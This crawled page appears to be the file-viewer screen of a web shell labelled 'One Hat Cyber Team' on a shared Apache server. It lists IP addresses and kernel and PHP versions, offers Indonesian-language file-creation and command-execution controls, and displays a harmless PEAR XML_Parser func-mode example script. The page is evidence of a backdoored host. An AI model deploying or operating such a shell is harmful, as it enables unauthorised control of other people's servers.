⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.187
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
cpanel-php83-xml-parser
/
examples
/
View File Name :
xml_parser_funcmode.php
<?PHP /** * Example for the func-mode * * @author Stephan Schmidt <schst@php-tools.net> * @package XML_Parser * @subpackage Examples */ /** * require the parser */ require_once '../Parser.php'; class myParser extends XML_Parser { function xmltag_foo_bar($xp, $name, $attribs) { print "handle start foo-bar\n"; } function xmltag_foo_bar_($xp, $name) { print "handle end foo-bar\n"; } function xmltag_foo($xp, $name) { print "handle start foo\n"; } function xmltag_foo_($xp, $name) { print "handle end foo\n"; } } $p = &new myParser(null, 'func'); $result = $p->setInputString('<foo><foo-bar/></foo>'); if (PEAR::isError($result)) { print $result->getMessage() . "\n"; } $result = $p->parse(); if (PEAR::isError($result)) { print $result->getMessage() . "\n"; } ?>